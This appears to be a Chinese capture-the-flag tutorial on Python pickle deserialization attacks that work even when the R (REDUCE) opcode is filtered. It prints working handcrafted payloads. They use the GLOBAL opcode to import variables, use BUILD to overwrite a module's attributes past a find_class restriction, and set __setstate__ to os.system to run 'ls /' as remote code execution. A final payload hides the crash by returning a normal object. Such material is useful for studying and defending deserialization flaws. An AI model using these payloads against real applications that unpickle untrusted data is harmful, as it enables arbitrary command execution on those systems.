写入全局变量
有这么一道题,彻底过滤了R
指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name
和grade
需要与blue
这个module
里面的name
、grade
相对应。
import pickle
import pickletools
import base64
payload_before = b"\x80\x03c__main__\nfavorite\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."
payload_after = b"\x80\x03c__main__\nfavorite\n}q\x02(X\x04\x00\x00\x00namecblue\nname\nq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."
before = pickletools.optimize(payload_before)
after = pickletools.optimize(payload_after)
print(payload_before)
pickletools.dis(before)
print('\n')
print(payload_after)
pickletools.dis(after)
不能用R指令码了,不过没关系。还记得我们的c指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:
如何用c指令来换掉这两个字符串呢?以name
的为例,只需要把硬编码的rxz
改成从blue
引入的name
,写成指令就是:cblue\nname\n
。把用于编码rxz
的X\x03\x00\x00\x00rxz
替换成我们的这个global指令,来看看改造之后的效果:
绕过c指令module限制:先读入,再篡改
之前提到过,c指令(也就是GLOBAL指令)基于find_class
这个方法, 然而find_class
可以被出题人重写。如果出题人只允许c
指令包含__main__
这一个module,这道题又该如何解决呢?
通过GLOBAL
指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
有了这个知识作为前提,我们可以干这么一件事:
- 通过
__main__.blue
引入这一个module
,由于命名空间还在main
内,故不会被拦截 - 把一个
dict
压进栈,内容是{'name': 'rua', 'grade': 'www'}
- 执行
BUILD
指令,会导致改写__main__.blue.name
和__main__.blue.grade
,至此blue.name
和blue.grade
已经被篡改成我们想要的内容 - 弹掉栈顶,现在栈变成空的
- 照抄正常的Student序列化之后的字符串,压入一个正常的
Student
对象,name
和grade
分别是'rua'
和'www'
- 由于栈顶是正常的
Student
对象,pickle.loads
将会正常返回。到手的Student
对象,当然name
和grade
都与blue.name
、blue.grade
对应了——我们刚刚亲手把blue篡改掉。
payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
不用reduce,也能RCE
之前谈到过,reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce 方法。那么,在禁止R指令的情况下,我们还能RCE吗?这就是本文研究的重点。
现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg),其中fun和arg都必须可控。
审pickle源码,来看看BUILD
指令(指令码为b
)是如何工作的:
这里的实现方式也就是上文的注所提到的:如果inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
它有什么安全隐患呢?我们来想想看:Student
原先是没有__setstate__
这个方法的。那么我们利用{'__setstate__': os.system}
来BUILE
这个对象,那么现在对象的__setstate__
就变成了os.system
;接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
payload:
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
执行结果:
有一个可以改进的地方:这份payload
由于没有返回一个Student
,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空(指令0),然后压一个正常Student
进栈。payload构造如下:
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'